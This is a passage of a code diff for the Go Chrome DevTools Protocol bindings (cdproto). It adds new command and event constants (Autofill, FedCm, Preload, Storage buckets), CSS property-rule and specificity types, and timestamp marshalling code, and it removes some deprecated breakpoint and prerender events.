StorageBucket *storage.Bucket `json:"storageBucket,omitempty"` // Storage bucket of the cache.
|
||||
CacheName string `json:"cacheName"` // The name of the cache.
|
||||
}
|
||||
|
||||
// Header [no description].
|
||||
|
||||
+34
@@ -790,6 +790,40 @@ func (t *MonotonicTime) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// TimeSinceEpochMilli special timestamp type for Response's responseTime
|
||||
// field.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Network#type-TimeSinceEpochMilli
|
||||
type TimeSinceEpochMilli time.Time
|
||||
|
||||
// Time returns the TimeSinceEpochMilli as time.Time value.
|
||||
func (t TimeSinceEpochMilli) Time() time.Time {
|
||||
return time.Time(t)
|
||||
}
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t TimeSinceEpochMilli) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
v := float64(time.Time(t).UnixNano() / int64(time.Millisecond))
|
||||
|
||||
out.Buffer.EnsureSpace(20)
|
||||
out.Buffer.Buf = strconv.AppendFloat(out.Buffer.Buf, v, 'f', -1, 64)
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t TimeSinceEpochMilli) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *TimeSinceEpochMilli) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = TimeSinceEpochMilli(time.Unix(0, int64(in.Float64()*float64(time.Millisecond))))
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *TimeSinceEpochMilli) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// FrameID unique frame identifier.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Page#type-FrameId
|
||||
|
||||
+122
-20
@@ -15,6 +15,7 @@ import (
|
||||
"github.com/chromedp/cdproto/accessibility"
|
||||
"github.com/chromedp/cdproto/animation"
|
||||
"github.com/chromedp/cdproto/audits"
|
||||
"github.com/chromedp/cdproto/autofill"
|
||||
"github.com/chromedp/cdproto/backgroundservice"
|
||||
"github.com/chromedp/cdproto/browser"
|
||||
"github.com/chromedp/cdproto/cachestorage"
|
||||
@@ -31,6 +32,7 @@ import (
|
||||
"github.com/chromedp/cdproto/domstorage"
|
||||
"github.com/chromedp/cdproto/emulation"
|
||||
"github.com/chromedp/cdproto/eventbreakpoints"
|
||||
"github.com/chromedp/cdproto/fedcm"
|
||||
"github.com/chromedp/cdproto/fetch"
|
||||
"github.com/chromedp/cdproto/headlessexperimental"
|
||||
"github.com/chromedp/cdproto/heapprofiler"
|
||||
@@ -105,7 +107,13 @@ const (
|
||||
CommandAuditsDisable = audits.CommandDisable
|
||||
CommandAuditsEnable = audits.CommandEnable
|
||||
CommandAuditsCheckContrast = audits.CommandCheckContrast
|
||||
CommandAuditsCheckFormsIssues = audits.CommandCheckFormsIssues
|
||||
EventAuditsIssueAdded = "Audits.issueAdded"
|
||||
CommandAutofillTrigger = autofill.CommandTrigger
|
||||
CommandAutofillSetAddresses = autofill.CommandSetAddresses
|
||||
CommandAutofillDisable = autofill.CommandDisable
|
||||
CommandAutofillEnable = autofill.CommandEnable
|
||||
EventAutofillAddressFormFilled = "Autofill.addressFormFilled"
|
||||
CommandBackgroundServiceStartObserving = backgroundservice.CommandStartObserving
|
||||
CommandBackgroundServiceStopObserving = backgroundservice.CommandStopObserving
|
||||
CommandBackgroundServiceSetRecording = backgroundservice.CommandSetRecording
|
||||
@@ -129,6 +137,7 @@ const (
|
||||
CommandBrowserSetWindowBounds = browser.CommandSetWindowBounds
|
||||
CommandBrowserSetDockTile = browser.CommandSetDockTile
|
||||
CommandBrowserExecuteBrowserCommand = browser.CommandExecuteBrowserCommand
|
||||
CommandBrowserAddPrivacySandboxEnrollmentOverride = browser.CommandAddPrivacySandboxEnrollmentOverride
|
||||
EventBrowserDownloadWillBegin = "Browser.downloadWillBegin"
|
||||
EventBrowserDownloadProgress = "Browser.downloadProgress"
|
||||
CommandCSSAddRule = css.CommandAddRule
|
||||
@@ -148,6 +157,7 @@ const (
|
||||
CommandCSSTrackComputedStyleUpdates = css.CommandTrackComputedStyleUpdates
|
||||
CommandCSSTakeComputedStyleUpdates = css.CommandTakeComputedStyleUpdates
|
||||
CommandCSSSetEffectivePropertyValueForNode = css.CommandSetEffectivePropertyValueForNode
|
||||
CommandCSSSetPropertyRulePropertyName = css.CommandSetPropertyRulePropertyName
|
||||
CommandCSSSetKeyframeKey = css.CommandSetKeyframeKey
|
||||
CommandCSSSetMediaText = css.CommandSetMediaText
|
||||
CommandCSSSetContainerQueryText = css.CommandSetContainerQueryText
|
||||
@@ -241,12 +251,10 @@ const (
|
||||
CommandDOMDebuggerGetEventListeners = domdebugger.CommandGetEventListeners
|
||||
CommandDOMDebuggerRemoveDOMBreakpoint = domdebugger.CommandRemoveDOMBreakpoint
|
||||
CommandDOMDebuggerRemoveEventListenerBreakpoint = domdebugger.CommandRemoveEventListenerBreakpoint
|
||||
CommandDOMDebuggerRemoveInstrumentationBreakpoint = domdebugger.CommandRemoveInstrumentationBreakpoint
|
||||
CommandDOMDebuggerRemoveXHRBreakpoint = domdebugger.CommandRemoveXHRBreakpoint
|
||||
CommandDOMDebuggerSetBreakOnCSPViolation = domdebugger.CommandSetBreakOnCSPViolation
|
||||
CommandDOMDebuggerSetDOMBreakpoint = domdebugger.CommandSetDOMBreakpoint
|
||||
CommandDOMDebuggerSetEventListenerBreakpoint = domdebugger.CommandSetEventListenerBreakpoint
|
||||
CommandDOMDebuggerSetInstrumentationBreakpoint = domdebugger.CommandSetInstrumentationBreakpoint
|
||||
CommandDOMDebuggerSetXHRBreakpoint = domdebugger.CommandSetXHRBreakpoint
|
||||
CommandDOMSnapshotDisable = domsnapshot.CommandDisable
|
||||
CommandDOMSnapshotEnable = domsnapshot.CommandEnable
|
||||
@@ -338,6 +346,14 @@ const (
|
||||
EventEmulationVirtualTimeBudgetExpired = "Emulation.virtualTimeBudgetExpired"
|
||||
CommandEventBreakpointsSetInstrumentationBreakpoint = eventbreakpoints.CommandSetInstrumentationBreakpoint
|
||||
CommandEventBreakpointsRemoveInstrumentationBreakpoint = eventbreakpoints.CommandRemoveInstrumentationBreakpoint
|
||||
CommandEventBreakpointsDisable = eventbreakpoints.CommandDisable
|
||||
CommandFedCmEnable = fedcm.CommandEnable
|
||||
CommandFedCmDisable = fedcm.CommandDisable
|
||||
CommandFedCmSelectAccount = fedcm.CommandSelectAccount
|
||||
CommandFedCmConfirmIdpLogin = fedcm.CommandConfirmIdpLogin
|
||||
CommandFedCmDismissDialog = fedcm.CommandDismissDialog
|
||||
CommandFedCmResetCooldown = fedcm.CommandResetCooldown
|
||||
EventFedCmDialogShown = "FedCm.dialogShown"
|
||||
CommandFetchDisable = fetch.CommandDisable
|
||||
CommandFetchEnable = fetch.CommandEnable
|
||||
CommandFetchFailRequest = fetch.CommandFailRequest
|
||||
@@ -385,6 +401,7 @@ const (
|
||||
CommandInputImeSetComposition = input.CommandImeSetComposition
|
||||
CommandInputDispatchMouseEvent = input.CommandDispatchMouseEvent
|
||||
CommandInputDispatchTouchEvent = input.CommandDispatchTouchEvent
|
||||
CommandInputCancelDragging = input.CommandCancelDragging
|
||||
CommandInputEmulateTouchFromMouseEvent = input.CommandEmulateTouchFromMouseEvent
|
||||
CommandInputSetIgnoreInputEvents = input.CommandSetIgnoreInputEvents
|
||||
CommandInputSetInterceptDrags = input.CommandSetInterceptDrags
|
||||
@@ -563,6 +580,7 @@ const (
|
||||
CommandPageGenerateTestReport = page.CommandGenerateTestReport
|
||||
CommandPageWaitForDebugger = page.CommandWaitForDebugger
|
||||
CommandPageSetInterceptFileChooserDialog = page.CommandSetInterceptFileChooserDialog
|
||||
CommandPageSetPrerenderingAllowed = page.CommandSetPrerenderingAllowed
|
||||
EventPageDomContentEventFired = "Page.domContentEventFired"
|
||||
EventPageFileChooserOpened = "Page.fileChooserOpened"
|
||||
EventPageFrameAttached = "Page.frameAttached"
|
||||
@@ -579,9 +597,6 @@ const (
|
||||
EventPageJavascriptDialogOpening = "Page.javascriptDialogOpening"
|
||||
EventPageLifecycleEvent = "Page.lifecycleEvent"
|
||||
EventPageBackForwardCacheNotUsed = "Page.backForwardCacheNotUsed"
|
||||
EventPagePrerenderAttemptCompleted = "Page.prerenderAttemptCompleted"
|
||||
EventPagePrefetchStatusUpdated = "Page.prefetchStatusUpdated"
|
||||
EventPagePrerenderStatusUpdated = "Page.prerenderStatusUpdated"
|
||||
EventPageLoadEventFired = "Page.loadEventFired"
|
||||
EventPageNavigatedWithinDocument = "Page.navigatedWithinDocument"
|
||||
EventPageScreencastFrame = "Page.screencastFrame"
|
||||
@@ -598,6 +613,10 @@ const (
|
||||
CommandPreloadDisable = preload.CommandDisable
|
||||
EventPreloadRuleSetUpdated = "Preload.ruleSetUpdated"
|
||||
EventPreloadRuleSetRemoved = "Preload.ruleSetRemoved"
|
||||
EventPreloadPreloadEnabledStateUpdated = "Preload.preloadEnabledStateUpdated"
|
||||
EventPreloadPrefetchStatusUpdated = "Preload.prefetchStatusUpdated"
|
||||
EventPreloadPrerenderStatusUpdated = "Preload.prerenderStatusUpdated"
|
||||
EventPreloadPreloadingAttemptSourcesUpdated = "Preload.preloadingAttemptSourcesUpdated"
|
||||
CommandProfilerDisable = profiler.CommandDisable
|
||||
CommandProfilerEnable = profiler.CommandEnable
|
||||
CommandProfilerGetBestEffortCoverage = profiler.CommandGetBestEffortCoverage
|
||||
@@ -687,12 +706,20 @@ const (
|
||||
CommandStorageClearSharedStorageEntries = storage.CommandClearSharedStorageEntries
|
||||
CommandStorageResetSharedStorageBudget = storage.CommandResetSharedStorageBudget
|
||||
CommandStorageSetSharedStorageTracking = storage.CommandSetSharedStorageTracking
|
||||
CommandStorageSetStorageBucketTracking = storage.CommandSetStorageBucketTracking
|
||||
CommandStorageDeleteStorageBucket = storage.CommandDeleteStorageBucket
|
||||
CommandStorageRunBounceTrackingMitigations = storage.CommandRunBounceTrackingMitigations
|
||||
CommandStorageSetAttributionReportingLocalTestingMode = storage.CommandSetAttributionReportingLocalTestingMode
|
||||
CommandStorageSetAttributionReportingTracking = storage.CommandSetAttributionReportingTracking
|
||||
EventStorageCacheStorageContentUpdated = "Storage.cacheStorageContentUpdated"
|
||||
EventStorageCacheStorageListUpdated = "Storage.cacheStorageListUpdated"
|
||||
EventStorageIndexedDBContentUpdated = "Storage.indexedDBContentUpdated"
|
||||
EventStorageIndexedDBListUpdated = "Storage.indexedDBListUpdated"
|
||||
EventStorageInterestGroupAccessed = "Storage.interestGroupAccessed"
|
||||
EventStorageSharedStorageAccessed = "Storage.sharedStorageAccessed"
|
||||
EventStorageStorageBucketCreatedOrUpdated = "Storage.storageBucketCreatedOrUpdated"
|
||||
EventStorageStorageBucketDeleted = "Storage.storageBucketDeleted"
|
||||
EventStorageAttributionReportingSourceRegistered = "Storage.attributionReportingSourceRegistered"
|
||||
CommandSystemInfoGetInfo = systeminfo.CommandGetInfo
|
||||
CommandSystemInfoGetFeatureState = systeminfo.CommandGetFeatureState
|
||||
CommandSystemInfoGetProcessInfo = systeminfo.CommandGetProcessInfo
|
||||
@@ -873,9 +900,27 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case CommandAuditsCheckContrast:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandAuditsCheckFormsIssues:
|
||||
v = new(audits.CheckFormsIssuesReturns)
|
||||
|
||||
case EventAuditsIssueAdded:
|
||||
v = new(audits.EventIssueAdded)
|
||||
|
||||
case CommandAutofillTrigger:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandAutofillSetAddresses:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandAutofillDisable:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandAutofillEnable:
|
||||
return emptyVal, nil
|
||||
|
||||
case EventAutofillAddressFormFilled:
|
||||
v = new(autofill.EventAddressFormFilled)
|
||||
|
||||
case CommandBackgroundServiceStartObserving:
|
||||
return emptyVal, nil
|
||||
|
||||
@@ -945,6 +990,9 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case CommandBrowserExecuteBrowserCommand:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandBrowserAddPrivacySandboxEnrollmentOverride:
|
||||
return emptyVal, nil
|
||||
|
||||
case EventBrowserDownloadWillBegin:
|
||||
v = new(browser.EventDownloadWillBegin)
|
||||
|
||||
@@ -1002,6 +1050,9 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case CommandCSSSetEffectivePropertyValueForNode:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandCSSSetPropertyRulePropertyName:
|
||||
v = new(css.SetPropertyRulePropertyNameReturns)
|
||||
|
||||
case CommandCSSSetKeyframeKey:
|
||||
v = new(css.SetKeyframeKeyReturns)
|
||||
|
||||
@@ -1281,9 +1332,6 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case CommandDOMDebuggerRemoveEventListenerBreakpoint:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandDOMDebuggerRemoveInstrumentationBreakpoint:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandDOMDebuggerRemoveXHRBreakpoint:
|
||||
return emptyVal, nil
|
||||
|
||||
@@ -1296,9 +1344,6 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case CommandDOMDebuggerSetEventListenerBreakpoint:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandDOMDebuggerSetInstrumentationBreakpoint:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandDOMDebuggerSetXHRBreakpoint:
|
||||
return emptyVal, nil
|
||||
|
||||
@@ -1572,6 +1617,30 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case CommandEventBreakpointsRemoveInstrumentationBreakpoint:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandEventBreakpointsDisable:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandFedCmEnable:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandFedCmDisable:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandFedCmSelectAccount:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandFedCmConfirmIdpLogin:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandFedCmDismissDialog:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandFedCmResetCooldown:
|
||||
return emptyVal, nil
|
||||
|
||||
case EventFedCmDialogShown:
|
||||
v = new(fedcm.EventDialogShown)
|
||||
|
||||
case CommandFetchDisable:
|
||||
return emptyVal, nil
|
||||
|
||||
@@ -1713,6 +1782,9 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case CommandInputDispatchTouchEvent:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandInputCancelDragging:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandInputEmulateTouchFromMouseEvent:
|
||||
return emptyVal, nil
|
||||
|
||||
@@ -2247,6 +2319,9 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case CommandPageSetInterceptFileChooserDialog:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandPageSetPrerenderingAllowed:
|
||||
return emptyVal, nil
|
||||
|
||||
case EventPageDomContentEventFired:
|
||||
v = new(page.EventDomContentEventFired)
|
||||
|
||||
@@ -2295,15 +2370,6 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case EventPageBackForwardCacheNotUsed:
|
||||
v = new(page.EventBackForwardCacheNotUsed)
|
||||
|
||||
case EventPagePrerenderAttemptCompleted:
|
||||
v = new(page.EventPrerenderAttemptCompleted)
|
||||
|
||||
case EventPagePrefetchStatusUpdated:
|
||||
v = new(page.EventPrefetchStatusUpdated)
|
||||
|
||||
case EventPagePrerenderStatusUpdated:
|
||||
v = new(page.EventPrerenderStatusUpdated)
|
||||
|
||||
case EventPageLoadEventFired:
|
||||
v = new(page.EventLoadEventFired)
|
||||
|
||||
@@ -2352,6 +2418,18 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case EventPreloadRuleSetRemoved:
|
||||
v = new(preload.EventRuleSetRemoved)
|
||||
|
||||
case EventPreloadPreloadEnabledStateUpdated:
|
||||
v = new(preload.EventPreloadEnabledStateUpdated)
|
||||
|
||||
case EventPreloadPrefetchStatusUpdated:
|
||||
v = new(preload.EventPrefetchStatusUpdated)
|
||||
|
||||
case EventPreloadPrerenderStatusUpdated:
|
||||
v = new(preload.EventPrerenderStatusUpdated)
|
||||
|
||||
case EventPreloadPreloadingAttemptSourcesUpdated:
|
||||
v = new(preload.EventPreloadingAttemptSourcesUpdated)
|
||||
|
||||
case CommandProfilerDisable:
|
||||
return emptyVal, nil
|
||||
|
||||
@@ -2619,6 +2697,21 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case CommandStorageSetSharedStorageTracking:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandStorageSetStorageBucketTracking:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandStorageDeleteStorageBucket:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandStorageRunBounceTrackingMitigations:
|
||||
v = new(storage.RunBounceTrackingMitigationsReturns)
|
||||
|
||||
case CommandStorageSetAttributionReportingLocalTestingMode:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandStorageSetAttributionReportingTracking:
|
||||
return emptyVal, nil
|
||||
|
||||
case EventStorageCacheStorageContentUpdated:
|
||||
v = new(storage.EventCacheStorageContentUpdated)
|
||||
|
||||
@@ -2637,6 +2730,15 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case EventStorageSharedStorageAccessed:
|
||||
v = new(storage.EventSharedStorageAccessed)
|
||||
|
||||
case EventStorageStorageBucketCreatedOrUpdated:
|
||||
v = new(storage.EventStorageBucketCreatedOrUpdated)
|
||||
|
||||
case EventStorageStorageBucketDeleted:
|
||||
v = new(storage.EventStorageBucketDeleted)
|
||||
|
||||
case EventStorageAttributionReportingSourceRegistered:
|
||||
v = new(storage.EventAttributionReportingSourceRegistered)
|
||||
|
||||
case CommandSystemInfoGetInfo:
|
||||
v = new(systeminfo.GetInfoReturns)
|
||||
|
||||
|
||||
+64
-11
@@ -361,14 +361,17 @@ func GetMatchedStylesForNode(nodeID cdp.NodeID) *GetMatchedStylesForNodeParams {
|
||||
|
||||
// GetMatchedStylesForNodeReturns return values.
|
||||
type GetMatchedStylesForNodeReturns struct {
|
||||
InlineStyle *Style `json:"inlineStyle,omitempty"` // Inline style for the specified DOM node.
|
||||
AttributesStyle *Style `json:"attributesStyle,omitempty"` // Attribute-defined element style (e.g. resulting from "width=20 height=100%").
|
||||
MatchedCSSRules []*RuleMatch `json:"matchedCSSRules,omitempty"` // CSS rules matching this node, from all applicable stylesheets.
|
||||
PseudoElements []*PseudoElementMatches `json:"pseudoElements,omitempty"` // Pseudo style matches for this node.
|
||||
Inherited []*InheritedStyleEntry `json:"inherited,omitempty"` // A chain of inherited styles (from the immediate node parent up to the DOM tree root).
|
||||
InheritedPseudoElements []*InheritedPseudoElementMatches `json:"inheritedPseudoElements,omitempty"` // A chain of inherited pseudo element styles (from the immediate node parent up to the DOM tree root).
|
||||
CSSKeyframesRules []*KeyframesRule `json:"cssKeyframesRules,omitempty"` // A list of CSS keyframed animations matching this node.
|
||||
ParentLayoutNodeID cdp.NodeID `json:"parentLayoutNodeId,omitempty"` // Id of the first parent element that does not have display: contents.
|
||||
InlineStyle *Style `json:"inlineStyle,omitempty"` // Inline style for the specified DOM node.
|
||||
AttributesStyle *Style `json:"attributesStyle,omitempty"` // Attribute-defined element style (e.g. resulting from "width=20 height=100%").
|
||||
MatchedCSSRules []*RuleMatch `json:"matchedCSSRules,omitempty"` // CSS rules matching this node, from all applicable stylesheets.
|
||||
PseudoElements []*PseudoElementMatches `json:"pseudoElements,omitempty"` // Pseudo style matches for this node.
|
||||
Inherited []*InheritedStyleEntry `json:"inherited,omitempty"` // A chain of inherited styles (from the immediate node parent up to the DOM tree root).
|
||||
InheritedPseudoElements []*InheritedPseudoElementMatches `json:"inheritedPseudoElements,omitempty"` // A chain of inherited pseudo element styles (from the immediate node parent up to the DOM tree root).
|
||||
CSSKeyframesRules []*KeyframesRule `json:"cssKeyframesRules,omitempty"` // A list of CSS keyframed animations matching this node.
|
||||
CSSPositionFallbackRules []*PositionFallbackRule `json:"cssPositionFallbackRules,omitempty"` // A list of CSS position fallbacks matching this node.
|
||||
CSSPropertyRules []*PropertyRule `json:"cssPropertyRules,omitempty"` // A list of CSS at-property rules matching this node.
|
||||
CSSPropertyRegistrations []*PropertyRegistration `json:"cssPropertyRegistrations,omitempty"` // A list of CSS property registrations matching this node.
|
||||
ParentLayoutNodeID cdp.NodeID `json:"parentLayoutNodeId,omitempty"` // Id of the first parent element that does not have display: contents.
|
||||
}
|
||||
|
||||
// Do executes CSS.getMatchedStylesForNode against the provided context.
|
||||
@@ -382,16 +385,19 @@ type GetMatchedStylesForNodeReturns struct {
|
||||
// inherited - A chain of inherited styles (from the immediate node parent up to the DOM tree root).
|
||||
// inheritedPseudoElements - A chain of inherited pseudo element styles (from the immediate node parent up to the DOM tree root).
|
||||
// cssKeyframesRules - A list of CSS keyframed animations matching this node.
|
||||
// cssPositionFallbackRules - A list of CSS position fallbacks matching this node.
|
||||
// cssPropertyRules - A list of CSS at-property rules matching this node.
|
||||
// cssPropertyRegistrations - A list of CSS property registrations matching this node.
|
||||
// parentLayoutNodeID - Id of the first parent element that does not have display: contents.
|
||||
func (p *GetMatchedStylesForNodeParams) Do(ctx context.Context) (inlineStyle *Style, attributesStyle *Style, matchedCSSRules []*RuleMatch, pseudoElements []*PseudoElementMatches, inherited []*InheritedStyleEntry, inheritedPseudoElements []*InheritedPseudoElementMatches, cssKeyframesRules []*KeyframesRule, parentLayoutNodeID cdp.NodeID, err error) {
|
||||
func (p *GetMatchedStylesForNodeParams) Do(ctx context.Context) (inlineStyle *Style, attributesStyle *Style, matchedCSSRules []*RuleMatch, pseudoElements []*PseudoElementMatches, inherited []*InheritedStyleEntry, inheritedPseudoElements []*InheritedPseudoElementMatches, cssKeyframesRules []*KeyframesRule, cssPositionFallbackRules []*PositionFallbackRule, cssPropertyRules []*PropertyRule, cssPropertyRegistrations []*PropertyRegistration, parentLayoutNodeID cdp.NodeID, err error) {
|
||||
// execute
|
||||
var res GetMatchedStylesForNodeReturns
|
||||
err = cdp.Execute(ctx, CommandGetMatchedStylesForNode, p, &res)
|
||||
if err != nil {
|
||||
return nil, nil, nil, nil, nil, nil, nil, 0, err
|
||||
return nil, nil, nil, nil, nil, nil, nil, nil, nil, nil, 0, err
|
||||
}
|
||||
|
||||
return res.InlineStyle, res.AttributesStyle, res.MatchedCSSRules, res.PseudoElements, res.Inherited, res.InheritedPseudoElements, res.CSSKeyframesRules, res.ParentLayoutNodeID, nil
|
||||
return res.InlineStyle, res.AttributesStyle, res.MatchedCSSRules, res.PseudoElements, res.Inherited, res.InheritedPseudoElements, res.CSSKeyframesRules, res.CSSPositionFallbackRules, res.CSSPropertyRules, res.CSSPropertyRegistrations, res.ParentLayoutNodeID, nil
|
||||
}
|
||||
|
||||
// GetMediaQueriesParams returns all media queries parsed by the rendering
|
||||
@@ -654,6 +660,52 @@ func (p *SetEffectivePropertyValueForNodeParams) Do(ctx context.Context) (err er
|
||||
return cdp.Execute(ctx, CommandSetEffectivePropertyValueForNode, p, nil)
|
||||
}
|
||||
|
||||
// SetPropertyRulePropertyNameParams modifies the property rule property
|
||||
// name.
|
||||
type SetPropertyRulePropertyNameParams struct {
|
||||
StyleSheetID StyleSheetID `json:"styleSheetId"`
|
||||
Range *SourceRange `json:"range"`
|
||||
PropertyName string `json:"propertyName"`
|
||||
}
|
||||
|
||||
// SetPropertyRulePropertyName modifies the property rule property name.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#method-setPropertyRulePropertyName
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// styleSheetID
|
||||
// range
|
||||
// propertyName
|
||||
func SetPropertyRulePropertyName(styleSheetID StyleSheetID, rangeVal *SourceRange, propertyName string) *SetPropertyRulePropertyNameParams {
|
||||
return &SetPropertyRulePropertyNameParams{
|
||||
StyleSheetID: styleSheetID,
|
||||
Range: rangeVal,
|
||||
PropertyName: propertyName,
|
||||
}
|
||||
}
|
||||
|
||||
// SetPropertyRulePropertyNameReturns return values.
|
||||
type SetPropertyRulePropertyNameReturns struct {
|
||||
PropertyName *Value `json:"propertyName,omitempty"` // The resulting key text after modification.
|
||||
}
|
||||
|
||||
// Do executes CSS.setPropertyRulePropertyName against the provided context.
|
||||
//
|
||||
// returns:
|
||||
//
|
||||
// propertyName - The resulting key text after modification.
|
||||
func (p *SetPropertyRulePropertyNameParams) Do(ctx context.Context) (propertyName *Value, err error) {
|
||||
// execute
|
||||
var res SetPropertyRulePropertyNameReturns
|
||||
err = cdp.Execute(ctx, CommandSetPropertyRulePropertyName, p, &res)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return res.PropertyName, nil
|
||||
}
|
||||
|
||||
// SetKeyframeKeyParams modifies the keyframe rule key text.
|
||||
type SetKeyframeKeyParams struct {
|
||||
StyleSheetID StyleSheetID `json:"styleSheetId"`
|
||||
@@ -1136,6 +1188,7 @@ const (
|
||||
CommandTrackComputedStyleUpdates = "CSS.trackComputedStyleUpdates"
|
||||
CommandTakeComputedStyleUpdates = "CSS.takeComputedStyleUpdates"
|
||||
CommandSetEffectivePropertyValueForNode = "CSS.setEffectivePropertyValueForNode"
|
||||
CommandSetPropertyRulePropertyName = "CSS.setPropertyRulePropertyName"
|
||||
CommandSetKeyframeKey = "CSS.setKeyframeKey"
|
||||
CommandSetMediaText = "CSS.setMediaText"
|
||||
CommandSetContainerQueryText = "CSS.setContainerQueryText"
|
||||
|
||||
+1703
-759
File diff suppressed because it is too large.
Load diff
+130
-19
@@ -114,8 +114,19 @@ type RuleMatch struct {
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-Value
|
||||
type Value struct {
|
||||
Text string `json:"text"` // Value text.
|
||||
Range *SourceRange `json:"range,omitempty"` // Value range in the underlying resource (if available).
|
||||
Text string `json:"text"` // Value text.
|
||||
Range *SourceRange `json:"range,omitempty"` // Value range in the underlying resource (if available).
|
||||
Specificity *Specificity `json:"specificity,omitempty"` // Specificity of the selector.
|
||||
}
|
||||
|
||||
// Specificity specificity:
|
||||
// https://drafts.csswg.org/selectors/#specificity-rules.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-Specificity
|
||||
type Specificity struct {
|
||||
A int64 `json:"a"` // The a component, which represents the number of ID selectors.
|
||||
B int64 `json:"b"` // The b component, which represents the number of class selectors, attributes selectors, and pseudo-classes.
|
||||
C int64 `json:"c"` // The c component, which represents the number of type selectors and pseudo-elements.
|
||||
}
|
||||
|
||||
// SelectorList selector list data.
|
||||
@@ -130,23 +141,24 @@ type SelectorList struct {
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSStyleSheetHeader
|
||||
type StyleSheetHeader struct {
|
||||
StyleSheetID StyleSheetID `json:"styleSheetId"` // The stylesheet identifier.
|
||||
FrameID cdp.FrameID `json:"frameId"` // Owner frame identifier.
|
||||
SourceURL string `json:"sourceURL"` // Stylesheet resource URL. Empty if this is a constructed stylesheet created using new CSSStyleSheet() (but non-empty if this is a constructed sylesheet imported as a CSS module script).
|
||||
SourceMapURL string `json:"sourceMapURL,omitempty"` // URL of source map associated with the stylesheet (if any).
|
||||
Origin StyleSheetOrigin `json:"origin"` // Stylesheet origin.
|
||||
Title string `json:"title"` // Stylesheet title.
|
||||
OwnerNode cdp.BackendNodeID `json:"ownerNode,omitempty"` // The backend id for the owner node of the stylesheet.
|
||||
Disabled bool `json:"disabled"` // Denotes whether the stylesheet is disabled.
|
||||
HasSourceURL bool `json:"hasSourceURL,omitempty"` // Whether the sourceURL field value comes from the sourceURL comment.
|
||||
IsInline bool `json:"isInline"` // Whether this stylesheet is created for STYLE tag by parser. This flag is not set for document.written STYLE tags.
|
||||
IsMutable bool `json:"isMutable"` // Whether this stylesheet is mutable. Inline stylesheets become mutable after they have been modified via CSSOM API. <link> element's stylesheets become mutable only if DevTools modifies them. Constructed stylesheets (new CSSStyleSheet()) are mutable immediately after creation.
|
||||
IsConstructed bool `json:"isConstructed"` // True if this stylesheet is created through new CSSStyleSheet() or imported as a CSS module script.
|
||||
StartLine float64 `json:"startLine"` // Line offset of the stylesheet within the resource (zero based).
|
||||
StartColumn float64 `json:"startColumn"` // Column offset of the stylesheet within the resource (zero based).
|
||||
Length float64 `json:"length"` // Size of the content (in characters).
|
||||
EndLine float64 `json:"endLine"` // Line offset of the end of the stylesheet within the resource (zero based).
|
||||
EndColumn float64 `json:"endColumn"` // Column offset of the end of the stylesheet within the resource (zero based).
|
||||
StyleSheetID StyleSheetID `json:"styleSheetId"` // The stylesheet identifier.
|
||||
FrameID cdp.FrameID `json:"frameId"` // Owner frame identifier.
|
||||
SourceURL string `json:"sourceURL"` // Stylesheet resource URL. Empty if this is a constructed stylesheet created using new CSSStyleSheet() (but non-empty if this is a constructed sylesheet imported as a CSS module script).
|
||||
